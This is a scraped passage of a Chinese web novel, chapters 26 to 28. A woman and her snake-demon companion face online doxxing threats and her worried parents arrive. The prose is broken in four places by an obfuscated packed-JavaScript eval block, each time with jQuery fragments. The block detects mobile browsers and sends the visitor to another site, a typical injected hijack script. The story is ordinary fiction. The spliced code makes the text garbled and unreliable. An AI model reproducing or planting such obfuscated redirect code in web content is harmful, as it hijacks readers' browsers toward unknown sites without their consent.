;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092027|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那,”舒情试探着问道,“快中午了。我能指使你去做饭吗?” 九素:“……” 所以,她探索新关系的尝试,就从“以后谁做饭”开始? 倒也不错。如果单凭本心而论,他愿意投喂她一辈子。 只要她不再追究什么“前世之缘”,也别再计较什么喜欢不喜欢的,他就谢天谢地了。 戚风影楼里是有个厨房的,之前戚昀叫了一帮大厨来请她们吃饭,现在食材和调料等都有现成的,省事。舒情看着九素真的进到了厨房里去给她准备午饭,心里却有些发沉,远远没有她表现出来的那么轻松。 一个最关键的问题,就压在她舌根底下,然而她害怕那问题的答案不是她希望听到的那一种,终于没敢问出口。 她就拣了一些边边角角的问题,插科打诨地问:“那我以后叫你九素还是小红?哦对,你说过不要叫你九素。那就叫小红,行吗?” “好。”九素无奈地看她一眼,“你非得站在这吗?” 哦对,她身上还挂了个诅咒debuff,虽然挂了一身护身符,但现在这位置,等会开了火,搞不好还是要被热油袭击,确实是危险。 舒情往后退开了两步,站到了厨房门口,接着刚才的话题没话找话:“你是不喜欢这个名字吗?我感觉这名字比我取得讲究多了。有点像那种游戏治疗门派的名字……哦我是说,中医世家,会取的名字。很好听啊。” “我生来没有父母,被养父收养,是他的第九个孩子。”九素在鱼身上切了个漂亮的花刀,也不耽误他说话,“我的排行加上我是条白蛇,所以有了这个名字,确实称不上喜欢。” “那……”舒情尴尬地说,“我取的名字好像也挺随便的。” 九素侧头看看她,再次笑起来,这个笑容比之前的所有笑容都要真心:“你不一样。” 舒情被美色所惑,脑袋里迷糊了片刻,就听他好整以暇地继续说:“你是受水平所限。” “……” 午饭是一条红烧鱼,以及各种花样的配菜和配汤。 九素好像对菜色的花样有什么特别的要求,不管是她发烧只能喝粥的时候,还是他俩都活蹦乱跳能吃能喝的时候,都得荤素搭配有菜有汤有甜点,否则仿佛就不配上她的桌。 他要是能做小红留在她身边,那她的生活质量必然会有巨大的提升。 舒情心里虽然揣着心事,但这顿饭还是吃得颇为愉快,连往日里一边吃饭一边刷手机的习惯都抛下了,直到吃完,才发现金万里已经给她发了好几条消息。 “跟你之前得罪过的那个主播有点关系,”金万里说,妖怪们效率奇高,一顿饭的工夫,就搜到了蛛丝马迹,“但这回也不是她本人,是她背后那个工作室。” “她那个工作室和你们说的那个商家,就是养出那小猴崽子的商家,背后控股的是同一帮人,你说说你拍那个广告,那么得罪人的事,你也不说小心点,你能机灵点吗?” 这位金部长实在是长了一张不适合当公务员的狗嘴,舒情看得眉角直抽抽。 那是她想这样吗?她一个遵纪守法好公民,上哪知道这些人的来龙去脉去? 九素朝她伸出手,“说了什么?” 舒情把手机给他看,随口说:“我还以为他会先跟你说呢。” “不会,”九素专心看金万里的信息,舒情问得随意,他也就随意回答,“我没买手机,他找不到我。” 舒情怀疑地看着他。 26. 真实信息 九素一看她那眼神,就明白了,无奈地笑了下,解释说:“一开始你备考那几天,我找游叔借了手机陪你。后来,就都是趁你不注意,悄悄用你的手机。” “哦,”舒情点点头,眼神仍然很奇怪,质问他,“你没干什么别的吧?” 九素微微一挑眉,意思明显——什么别的? 舒情很尴尬,因为她手机里还有和闺蜜涂楠的聊天记录,其中小红和九素都是高频话题,讨论的内容……也不怎么适合让本人看见。 “你不能随便动姑娘家的手机啊,”她绷着脸教育他,“这也就是你是我养的小蛇,要是换个人敢趁我不注意看我手机,我早就一巴掌过去了,现代人的手机都是隐私好不好?” 九素这次是真的虚心请教:“为什么?游叔就不在意。” 舒情努力回忆,总算想起来“游叔”就是她去超管局考许可证的时候,金万里身边的那个大叔。既然和九素、金万里都是一国的,不用说,肯定也是个老妖怪,就不知道到底是几百年的还是几千年。 “因为他压根儿就不是现代人类!”舒情瞪他,“对你们来说,那就是个通讯工具罢了,你没有都无所谓,可对我们来说,这是生活必需品,拜托你尊重一下我们现代人的生活习惯。” 九素“哦”了一声,接受了她的说法,舒情这才满意。她打开购物软件,一边翻一边问:“你想要个什么颜色的?” “什么?” “手机啊。”舒情抬起头来看着他,奇怪地说,“没手机还挺麻烦的。正好前两天我把短视频平台里打赏的钱提出来了,有快一万呢,足够给你买一个了。” 九素本能地拒绝说:“不要。” “必须要,你得熟悉现代生活。”舒情这次连头都不抬了,“不管你本来生活在什么时代,现在你都生活在当下了。除非你告诉我,你还能穿越回几百年前。” 这当然是不可能的,九素摇摇头,仍然坚持说:“你更需要钱。” “这不算什么,就一个零头。”舒情不在意地说,“我上个月主要的收入是大小姐约我拍的那个视频,现在后台还有好多广告等着接呢,一个手机我还是买得起的。再说,你是视频主角啊,她们打赏大多数也是冲你,你就当是我给你的分红?” 她按照自己的审美,挑出来了两台最新款水果手机,拿着问九素:“选一个?你不选,那我就买这个了,反正你肯定是人身的时候用,银白色更搭。” 她都把话说到这一步了,九素只好把拒绝的话咽回去,点点头,“……好。” 又一笔新的债。 舒情买完了手机还不算,她还去找服装店,想给他买衣服:“我说怎么每次见面你都是同一套行头呢。算了,我来吧,出门的衣服,还有家居服,总之都得有两套。你是不是也不知道自己该穿什么尺码的衣服?” 九素其实知道,他张张嘴,想说话。 “差不多的尺码都试一下,”舒情根本就没给他说话的机会,沉浸式地投入在线上逛街里,“先搞两件普通地球人的衣服再说。等这些事过去了,我带你去线下服装店……” 九素终于把一只手放在了舒情肩上,轻轻地说:“我不需要。” 舒情终于抬起头来,对上了他的眼睛。 他平静地告诉她:“等这些事过去,我就要走了。” 那个没有敢问出来的问题,此刻得到了答案。 其实……她想,其实不敢问,本身岂不是已经说明,她自己心里早知道结果? 九素为什么总是回避她关于“喜欢”的话题,当初为什么不肯干脆告诉她他就是小红,今日为什么又默许了她去找金万里,打探信息确认她的猜测…… 说到底,都是因为终有分开的一天。从前不说,是因为以前她和“九素”这个人交情极浅,他随时可以无声无息地消失在她的世界里,顶多,她就只是失去一条不会说话的宠物蛇; 现在说了,是因为九素这个人于她越来越重要,倘若能用她和小红的相处,掩盖掉他们之间轻微而短暂的心动……那对她而言,也是一桩好事。 舒情心里发酸,她问:“为什么?非走不可吗?” “我留下来,对你我都不好。”九素淡声说,“你是人,我是妖怪。” 舒情感觉这简直是在无理取闹,争辩说:“现在也有很多人和妖怪一起生活。” “那不一样。”九素说,“那些人把妖怪看做宠物,而你当我是什么?” 这话没法接,舒情也不可能对着一个漂亮的男人说“我也可以把你当宠物”,眼珠一转,换了一套说辞:“……我可以当你是个种族不一样的小弟?” 九素脸上的表情空白了一瞬间——他是妖王,妖族里还真没人敢跟他说“我拿你当小弟”,面对此等厥词,一时半会真没想到怎么应对。 “虽然说我知道你心理年龄肯定比我大吧,”舒情展开说明,“但你这具身体是在我家里破壳的,再说了,你看上去……呃,确实也没有很大。那就当姐弟相处呗,我和我妈都是独生女,我还没怎么和兄弟姐妹相处过呢,能有什么不好的?” “姐弟?” 舒情机灵地从九素这两个字里听出了后槽牙摩擦的动静,找补说:“那按心理年龄算,兄妹也行啊。如果是姐弟呢,我就多照顾你一点。如果是兄妹,你就多照顾我一点呗。” 九素无声地笑了笑,发现在口舌之利这方面,无论前世今生,自己都争不过她。 他于是放弃了和她争辩,简洁地摇了摇头。 舒情轻轻一咬唇,心里想着,不知道拿自己现在面临的危险、以及她那个短视频账号来说事,会不会有用。 “我不会现在就走。”九素说,“至少,我会帮你把这些人解决掉,等你安全,生活稳定,再走。如果你还想养妖怪,我找一只样貌可爱些的妖怪赔给你,这样如何?” 他简直像有读心术一样,舒情没好气地怼他:“你说呢?要是哪天换成我要走了,找一个有钱人……就大小姐吧,把你送给大小姐养,你觉得那行吗?” 九素无话可答,然而也不肯松口,空气中一片寂然的沉默,两人无声地僵持着。 舒情看了他一会,妥协似的叹了口气,再一次问道:“非走不可吗?” “是。” “你要去哪里,能告诉我吗?”她一顿,猜测,“超管局?” “不,我回我熟悉的地方去。” 舒情终于不再和他继续辩论了——因为不管是谁,都不能拦着人家回家;更何况,九素要走要留这件事,她其实没有办法。就算哪天他悄悄地一个人离开了,她可能都不会发现。 从情感上来说,他主意已定,再争论下去也没意思,搞不好还伤感情;从现实上来说,他承诺会赔她一只别的小妖怪,那至少还可以保证她的自媒体事业。 “那就当网友,保持联系吧。”她坦然地说,“希望你不是回到什么没有信号的深山老林里。” 九素好像笑了一下,开玩笑地说:“那也说不定。” 舒情白他一眼:“我要是有事,还找得到你吗?” “……你盼自己点好吧。” 舒情被他逗乐了,他要是承诺什么“我随叫随到”之类的,她肯定不会信,重诺的人压根就不会轻易许诺。倒是这么似是而非地说一句,她觉得挺靠谱,因为这厮一向不惮于直接地表达拒绝,反而是善意,老是藏着掖着。 “哪天要走,记得来找我告个别。”她敲诈,“好好请我吃个饭,必须是大餐!” “好吧,”他也白了她一眼,“债主最大。” 两个人就九素到底是走是留的问题达成了一致,各自压下不足为外人道的怅然与不舍,做若无其事状。 舒情低下头去回金万里的消息,最后问:“现在有什么我能做的事吗?” 同一个问题她也问了九素,九素告诉她:“这件事上你做不了什么,留在这里,安心做你的视频就好了。” 舒情自嘲地说:“我自己的事,反而我什么都做不了。” “并不是。”九素说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104729|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你已经做了很多了,还记得你复原出的那两张照片吗?” 舒情点头。 “他们手里有很多针对妖怪的手段,也知道世上有许多方式能追踪到他们。”九素给她解释说,“他们先设法干扰,在此之后,又设下了一个法阵反击。” 舒情明白过来,“就是照片上我复原出的那个法阵?” “对。”九素肯定道,“如果我窥探时强行突破外围的干扰,那我和念念都会直面这法阵,我也许还不会有事,但念念恐怕不死也要瞎。” 舒情倒抽一口冷气,听他继续说,“然而你用照片的方式把法阵复原出来了,照片是死的,法阵威力降低了很多。你不仅救了念念,我们还可以对此有所防备,这也算‘什么都做不了’吗?” 他好声好气地哄起人来效果拔群,舒情被安抚了,得意地说:“也是,我虽然没有输出,但我有助攻。” 九素对现代社会的了解终究还不够深入,听不懂她这满嘴的游戏黑话,但起码知道了她没有再为自己的无力而感到无奈,于是放松下来,懒懒地说:“再说,让你做视频,也不是白做的。” 舒情脱离了无能为力的负面情绪,果然就明白过来,“你是说,用我的‘金手指’?” 九素朝她点头。她能帮小妖怪们修炼,反过来,小妖怪们也就更有力量保护她——比方说那只吉祥鸟发财,它的羽毛更能帮她趋吉避凶,念念也有机会窥看到更多情报。 “懂了。”舒情这次完全理解了,“我不是助攻,我是‘指挥官’。” 九素这回连意会都没法意会了,一头雾水。 “就是说,我负责想办法给小妖怪们升级强化,它们帮我打怪干活。”他今天尤其暴露出了对现代生活的迷茫,和平时疏离而博学的形象完全不同,舒情挺喜欢,笑吟吟地给他分享了一波卡牌手游养卡体验。 九素听完,居然也能理解和眼下情形的相似之处,“那你继续去养吧。” 舒情当真打开了手机,琢磨着反正都要拍视频,不如顺道接个广告。她上个月那十万块钱属于意外收入,纯粹是大小姐一时兴起的陪玩钱。 她打算拿出一半存起来,以备不时之需,剩下的,等眼前的麻烦过去以后,去换她看好的新房子。 不管以后小红还在不在她身边,她都不想住在那个公寓里了。 其他的收入——工作室还是个没影的事,就算组建起来,也是在前期投入阶段,暂且按下不提;打赏这东西虽然不太稳定,但多多更新,勉强也算可控。 再有就是广告,她是个新号,上个月陆陆续续有广告商找她,开的价也不算高;往后粉丝量越来越多,不管是甲方还是报价也都会跟着多起来,同样是一条重要的收入来源。 她想着虽然是广告,也不能随随便便地插在视频里,她要做的精致一些。前两天,有个做多功能锅的找上了她,毕竟养着一条挑嘴的蛇,她对这锅就挺有点想法。 舒情打开了短视频app,熟练地点掉了一堆点赞投币的红点,去后台翻私信,想找那个广告商的产品介绍。 打开私信界面的一瞬间,她手一抖,手机差点掉在地上。 九素看着是在专心致志地做纸桃花,其实一直留意着舒情的一举一动,一抄手接过手机。他还谨记着舒情说的“尊重现代人的生活习惯”,一眼都没往她手机屏幕上瞟,只问:“怎么了?” “没事,”舒情咬牙切齿地把手机接过来,“没完没了,我看看又是哪路天兵天将?” “天兵天将”们整齐划一地刷屏了她的私信,点开一看,好几个都是新注册不久的小号。往下一划,七八十个号,统一发了一模一样的几条信息: “你觉得超管局会一直守你吗?” “你觉得你那几只小妖怪真靠得住?” “删了你那条‘公益广告’,今妖妖怎么公开道歉,你就怎么道歉。” “否则,你会在网上看到你的真实信息,你的住址,你前公司,你真名实姓。” “舒情小姐。” 27. 安慰 在一个人人都披着马甲的地方,忽然满屏幕都是自己的真名,效果堪比鬼故事,舒情整个人都暴躁了。 这还是纯粹属于现代网友们的鬼故事,九素连保护隐私权的意识都没有,更无法在这件事上与她感同身受。然而他得到允许看她私信界面的时候,还是感受到了扑面而来的恶意。 “别听他们的。”他想都没想,就说,“他们不怀好意,退让不是办法。” 舒情是个不吃亏的性格,这话根本不用他说,“我当然不会道歉!又不是我的错。” 两人在一瞬间就统一了大方向,接下来该讨论的是具体防御措施。 九素问:“按照现代的规则,这些信息不能为人所知吗?” 舒情知道他不了解这些,深吸一口气,调整好情绪,和他分享信息:“嗯,我们把这种叫‘人肉开盒’。要是真的暴露了,就完全没有隐私可言了,可能会有一大堆骚扰电话、短信之类的;同事、朋友、家人也会知道,还有工作……” 她越说越慢,奇异地冷静了下来,心里不可思议地冒出一个念头:这么说起来,好像,也没什么特别了不起? 她这二十多年的人生履历里,顶多有年少无知的黑历史,但从没有过道德败坏、故意作恶的黑历史。就算摊开了扔到网上,她也没有什么见不得人的。 至于工作,她都把辞职信甩在主管脸上了,还怕什么工作受影响吗? “……好吧,确实没有被诅咒严重,毕竟我这人,行得正坐得直。”舒情对上了九素疑惑的视线,说,“首先是我的‘金手指’可能又要有负面效果了,但这个,你已经帮我挡住了,可以暂且不讨论。” “其次是不知道他们掌握了什么信息,有可能去盗我的银行账户……咳,就是有可能去偷我的钱;最后家庭住址暴露了,可能会有人上门骚扰,但这几天我本来也只能待在影楼,而且……我觉得他们也打不过你;再有,就是骚扰电话骚扰信息什么的。” 九素听懂了她的意思,他垂下眼睫,明白了刚才舒情自嘲“我什么都做不了”的无力感——因为他发现自己对那个缥缈的虚拟世界,也是同样的毫无办法。 如果对手真的就是金万里查出来的那两拨人,那倒好办了,他可以立刻采取一些极端手段;然而偏偏还不是,现在就去杀人,除了毁灭线索和添乱之外,根本没有任何意义。 这个消极的念头只闪过了一瞬间,九素在心里想:至少留在她身边,保护她平安吧。 至少他能避免最坏的结果,加诸于人身的伤害,最不可逆转。 两个人面对危机的心态都很积极,一个负责提供资源,一个负责人身安全,总之毫不畏惧。连金万里也派来了两个手下,一个5级,一个6级,分别以人形和动物形象守门。 但短短半个星期,情况就开始飞快地恶化了。 先是舒情的手机被连番轰炸——这倒是事先有所预料,陌生号码一概不接,短信集体屏蔽,管他是什么带颜色的还是p花圈的统统无视,好友申请也一概不看,强行给自己构建出一圈真空防御。 她随身的那个白玫瑰挂坠变黑了不少,九素用几片新的鳞片把黑的换了下来。这一次,他倒没有上次那么虚弱,就是又睡了一整天。 到了第三天,事情又发生了新的变化,舒情前一天晚上连夜剪视频,早上抱着被子一睡睡到中午十二点,再打开手机,发现满屏骚扰电话里夹杂着二十几通未接来电。 来电显示:妈。 舒情:“……” 要完。 她赶紧回拨电话。她妈妈毕生沉浸于中医学,虽然去年已经过了退休的年龄,但中医这一行,年纪越大越吃香,她自己开了个中医诊所,每天坐堂出诊,心里都被望闻问切塞满了,没事时并不会频繁来找在千里之外工作的女儿。 这一连二十多个电话,肯定有事,舒情焦心地想:不会是诅咒不到我,去诅咒我家人了吧…… 好在她妈妈很快接起了电话,舒桐医生焦虑的声音从耳机里传出来:“小情?” “嗯嗯,妈,”舒情心虚地说,“我手机静音了,没注意到电话。家里是有什么事吗?” “家里没事。你那边出什么事了?”从声音判断,舒桐稍稍松了一口气,但依然非常担忧,“我今天早上接到了好几条骚扰短信,都是你的照片……p得很不吉利……那是些什么人哪,你遇上什么了?” 舒情咬了咬嘴唇,虽说不是诅咒,只是短信骚扰,她心里也一点都放松不下来。 九素昨天给她的吊坠换鳞片,消耗了不少妖力,懒得维持人身,变回了漂亮的小白蛇在休养,这时,就窸窸窣窣地游过来,盘卧在舒情手边。 有他陪着,舒情觉得安心不少,和电话另一端的舒桐说:“是遇上点事。不过也不是什么特别大的事,我从头慢慢说……” 她把所有事都从头到尾交代了一遍,特意把公寓管家的不怀好意、遭受诅咒的惊心动魄,这些听上去格外令人担心的部分略去了,还特意夸大了她家小蛇妖有多么全能、超管局特勤部长有多么靠谱。 即使她竭尽全力地粉饰太平,舒桐还是听得一愣一愣的,半晌没出声。 舒情不安地叫:“妈?” “哦,哦。”舒桐仿佛花了一会儿时间,才把这所有的事消化掉,她说,“我现在给你买飞机票,就明天,你赶紧去查查你那小妖怪,是给它买个座位,还是宠物运输。” 这是要紧急薅她回家的意思,舒情下意识地就要拒绝:“不用——” “你得回来!”舒桐不由分说,“你那里太不安全了。那些发骚扰短信的人,连我的手机号都有了,能找不到你住哪里吗?他们上门找你怎么办?” “不会的,我现在住在一个朋友家里。”舒情让自己的声音里带着成竹在胸的笑意,“再说,我已经报警了啊,有人保护我呢。” “不行。”舒桐很坚持,“你那个朋友……也不知道靠不靠得住,你想想你的信息是从哪泄露的?怎么泄露的?再说了,在家总比在朋友的地方更安全。” 舒情无奈极了,“真不行啊,妈。我在这儿,有超管局的人守着我呢,现在门口就有两个。还有个最厉害的特勤部长盯着这事,那可是个9.2级的大妖怪,发起疯来能砸了一座城。” “我要是回家去,咱家三个人捆在一块,还不知道战斗力有没有五呢,全都只能靠小红了,能比这里更安全吗?” 这简单粗暴的战斗力对比说服了舒桐,她退了半步,说:“那么你告诉我你那朋友家的地址,明天,我飞过去看你。” 舒情:“……” 她那乍一听像模像样的战力对比根本就是瞎扯,舒情要是回去了,金万里的全方面防御必定跟着她一起走。她不是不乐意回家,是怕自己身上的诅咒影响到家人,她年轻抗造,还有九素护着她,爸妈可有年纪了。 没看连戚昀都不敢回家,千金大小姐和她一起挤影楼吗? 她试图垂死挣扎,“妈,实在没必要……” “就这么说定了,”舒桐当了好多年的科室主任,现在还自己开诊所,早就养成了说一不二的习惯,一锤定音,“你定位发过来,明天我和你爸一起过去,别忘了和你那朋友说一声。” “……等会儿,”舒情说,“不是——” 耳机另一端略微停顿了片刻,两秒钟后,她听见舒桐说:“宝贝,别怕。” 那许多劝阻的话,忽然就说不出口了。 舒情低着头,把她的定位发给舒桐,一大滴水珠突兀地砸到了手机屏幕上。 以一条蛇的角度,可以清晰地看见她的脸,她脸上没有表情,只有泪珠循着眼睫无声地滑落,羽翼似的睫毛被泪水沾得湿漉漉的,像只遭遇了暴雨的小鸟。 冰冷的爬行动物不适合安慰人,九素无言地化出人身,犹疑着握住了她的手,轻声叫:“阿舒。” “我没事,”舒情反手握了握他,“我就是忽然想哭一会儿。” 九素以为她是担心她父母到了H市,无法保证安危,于是提议:“要不,我想办法劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110815|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说?”他可以让金万里以超管局官方的身份,劝舒桐打消这个主意。 “你劝不动的。”舒情摇摇头,声音里带着越发浓重的鼻音,“我妈……我妈其实是怕我想不开,才要亲自来看着我。她是医生,她见过太多这种事了。” 九素于是不再坚持这个提议,心里甚至还有一丝若有若无的安慰:看来至少这一世,她的亲人对她,确实是很好的。 他就只是握着她的手,顺着她的话含笑哄她:“你现在这样,我觉得令堂担心得很有道理。” 舒情被噎了一下,抬起头来瞪他:“你看不出来,我就是因为让我爸妈担心、还连累了他们,所以难受吗?” 她在职场上磨炼了几年,瞪人的时候本来是挺有杀伤力的,奈何此时还有眼泪在夺眶而出,这瞪人的威慑性顿时打了个五折。 九素想伸手给她擦擦眼泪,手抬起来,半途硬生生转了个方向,到行军床头去抽了一张纸巾,递给她。 “是吗,没看出来。”他故作惊讶地笑,“毕竟我没有会为我担心的生身父母,你不告诉我,我怎么猜得到呢?” “……” 舒情真的无奈了,拿纸巾胡乱擦了两把眼泪,毛茸茸的脑袋靠在了九素肩膀上,咕哝着说:“你哄人的本事真烂。谁教你的比惨式安慰?” 九素整个人都僵住了,不知道是推开她好还是该抱抱她,迟疑了半天,手才缓慢地绕到她背上拍了拍她,轻轻地问:“你想我怎么安慰?” “就现在这样啊。”舒情教他说,“女孩子需要发泄情绪的时候,你老实点陪着就行了,闭上嘴少说两句。” 九素果然不说话了,虚虚地环抱着她,像哄孩子似的,轻轻地拍着她的脊背。 她的身体那样温暖,扑打在领口的呼吸都带着潮湿的热气,好像直接浇进了他的心上,叫他彻头彻尾淋了一场盛夏里滚烫的山洪。 他无法违拗她的情绪,终于做实了这个拥抱,时隔一千七百年,再一次与她相拥,像是空洞已久的一部分终于被填满,一刹那,他几乎全身都在战栗。 失而复得,人生幸事。 可是如果得而复失呢? 舒情嘴上虽然在吐槽,但不可否认多少被九素的话转移了注意力,那一瞬间爆发的难过和委屈被导流走了,现在这会儿心里倒真的觉得轻松了不少。 情绪排解完了,还有正事要办,她擦干净眼泪,直起身来,不太好意思地挠挠头,问:“我爸妈来了的话,住在哪?是不是也住在这里比较保险?” 九素压下了心中一瞬间涌起的失落感,点点头。 “那我赶紧去收拾,”舒情已经恢复了行动能力,她一翻身跳下了行军床,“看看还有哪个房间能收拾出来住。你也赶紧变回去泡水吧,你是重要的战斗力!” 她说着就匆匆出门去安排了,先找戚昀说明情况,又盘算着找住的地方,一通折腾。 然而今天不能错过的信息还没完,舒情给爸妈安排好了住处,还没来得及喘上一口气,又接到了涂楠的视频通话。 她显然是上班时间抽空跑出来的,躲在楼下一个无人的角落里,鬼鬼祟祟,但是一脸凝重。 “我今天意外发现,”涂楠语速极快地说,“是余明,你的隐私信息是他泄露的!” 余明就是舒情的那个前主管“余哥”,他有舒情的现住址、紧急联系人电话等等毫不意外,舒情立刻追问:“细说?” “来不及说太细,”涂楠飞快地说,“就是今天我看hr找他了,隐约还提到了你。然后我偷偷黑了他的内网账号,发现前几天他找hr要过离职员工信息查阅权限,调过你的档。更实的锤我还没有,但时间对得上,大概率是他。” 她匆匆看了一眼时间,“我得赶紧回去了,我不能长时间不在工位!” 舒情知道她们考勤查得严,挥挥手赶她回去干活,自己对着涂楠给她提供的情报,皱眉。 她当然不是不相信涂楠的判断,只是…… 假如真是余明,他图什么呢? 28. 家长 背后的门一响,九素已经补足了觉,化出人身推门走出来。他看舒情和戚昀两个人各自一脑门子官司,在桌边对坐发呆,就坐到舒情身边,用眼神询问:怎么了? 戚昀下意识坐直了两分,很快想起来“九素就是小红”这个惊悚的消息,又歪了回去。 “楠楠帮我留意到了是谁泄露的我的信息。你还记得她吧?”看九素点头,舒情就把刚才涂楠的话转述给了他,然后说,“不过我总感觉有点奇怪,我们俩在讨论这件事。” “是挺怪的,”戚昀赞同地说,“我们在讨论他的犯罪动机。如果说是报复动机呢,阿舒离职的时候虽说是撕破了脸,但职场上这种‘破脸’值什么呀,不相往来就完事了,这犯罪动机和犯罪成本完全就不匹配。” 舒情无力地说:“拜托了,小红是个思维认知还停留在古典时代的妖怪。” “哦,”戚昀懂了,舒情嫌她掺杂了太多现代专有名词,九素听着不好理解,“我需要说文言文吗?” “对,骈四俪六,对仗工整,别忘押韵。” 九素:“……” 物以类聚人以群分,这两个不靠谱的凑在一块,也是命运的指引。 戚昀当然没有那七步成诗的本事,她悻悻地收走了她的刑侦剧名词,说出来的话果然好理解了很多:“或者就是为了图钱,但是吧,这事也有点刑……我是说,这事触犯法律。一个有老婆孩子、收入稳定的中年男人,那都是天选牛马,会冒这个险的可能性不大。” 短短几句话,九素无师自通地理解了戚昀那套推理逻辑,“他近日是否急需钱财,比如有没有欠下债务?” “不太会。”舒情说,“你还是不太了解现代社会。要真是急用钱,完全可以合法地找银行借,完全没必要去违法犯罪。再说了,这事要蹲监狱的,影响他孩子以后考公……”她看九素神色疑惑,补充说,“就是影响以后找工作的意思。” 这么说着,一个念头忽然快速从舒情脑中掠过:九素对于现代社会的认识,也挺奇怪的。 他对现代文字和日常设备都不好奇,对一些基本的知识也了解。反而是一些游戏用语、日常的梗、现代人的想法与习惯,他一无所知,就好像是认真地学习过了现代社会知识,然而没有真正在当下生活过一样。 九素对于自己不懂的事,向来更愿意听从懂的人的意见,他点点头,不再说话,安静地聆听两个姑娘继续你一言我一语地分析。 “而且像这种人吧,”戚昀说,“欺下媚上,说明胆子不大,一般不至于干什么高风险的事。而且信息技术这一行,普遍工资不低,他混了十几年,五六十万的年薪总该有的,要只是五位数的钱,根本不够。” “阿舒在公司登记的都是些基本信息,什么银行、甚至一些合同上也都有,又不是非找他不可,买家能开多高的价?所以我们俩想来想去都觉得奇怪,弄不明白。” 不愧是家里有矿的大小姐,在看人和花钱上颇有见识,舒情十分赞同。 两个人四双亮晶晶的眼睛盯着九素,希望他能通过他的专业视角,提供一点新的思路。 九素以一个妖怪专家的视角,提供不了任何想法,于是他以法外狂徒的角度给出了见解:“也许是遭受威胁。” “人身威胁”对于生活在大城市里的当代年轻人来说并不是常态,即使两个人才刚经历过类似事件,还是下意识忽略了这点。 戚昀问:“超管局有可能查到他的报警记录吗?如果他报过警,那就可以确定了。” 九素点头,舒情给他新买的手机已经到货了,他低头给金万里发消息。 金万里回了个“ok”,三分钟后,就收到了明确的答复——“没有报警记录”。 没报过警……这就不好判断了。 “或者还有没有一种可能,他自己根本不觉得自己在犯罪呢?”舒情发散思维,“比如说,那帮要对付我的人,用玄学手段忽悠余明,让他觉得我跟他相克之类的,他必信。然后忽悠他调我的档……” 戚昀已经明白了:“再用念念那样的妖怪去窥探,或者像楠楠那样黑他的电脑?” 舒情严肃地点头。 讨论来讨论去,始终没讨论出个结论,舒情惦记了一夜。第二天,舒桐夫妻两人赶到H市的时候,就看到女儿脸上挂着大大的两个黑眼圈。 好在她吃得不错,不仅没消瘦,脸颊还隐隐有点要变圆润的征兆。舒桐和她爸爸赵与清一左一右地将她上上下下打量完,舒桐还强行给她把了个脉,总算是勉强放下了半颗心。 “到底怎么回事,”一群当事人与官方负责人金万里各自落了座,舒桐问,“听说你隐私泄露这事有眉目了?” 她们现在身处在影楼附近的一家酒店里——影楼毕竟不是一个正经的住所,实在塞不下这许多人一起日常起居。戚大小姐财大气粗,干脆就在马路对面的酒店包了好几个房间,人和妖怪都有住处。 舒情想把钱转给她,戚昀不要,理由是:“你快得了吧,你比我有钱?你要是过意不去,就当我这是补你家小红的雇佣金呗。” 这话说得其实很有道理,但是,小红也不完全是属于她的啊…… 九素自己却仿佛压根没有“我不属于她”的自觉,不仅找服务员给她爸妈搬来了椅子、安排行李,现在自己甚至还坐在桌边煮茶。 他拿一个大路货的开水壶,居然表演出了一套古代贵族烹茶的礼仪,从烹茶到分茶一气呵成,平等地照顾到了场上的每一个人。 等他分完茶,舒情也把昨天的猜测“呱啦呱啦”地交代完了,他才微笑着接话说:“我可以想办法用术法窥探,也许能知道真相。” 舒情白了他一眼。 平时在她们面前,一口一个“妖术”“妖力”的,到了她爸妈面前,就换成了高大上的“术法”,要不要这么看人下菜碟? 舒桐和赵与清都是第一次见到九素,没有办法把这个风姿卓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123258|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异的少年和“女儿养的宠物”这身份联系起来,只能把他当成是女儿的朋友看。 因此舒桐也就颇为客气:“谢谢,拜托你了。” 九素朝他们一笑,那笑容非常好看,甚至还带着一丝乖巧。 戚昀则提出反对意见:“伤到念念怎么办?我听阿舒说,那些人手里有个反击的阵法。” 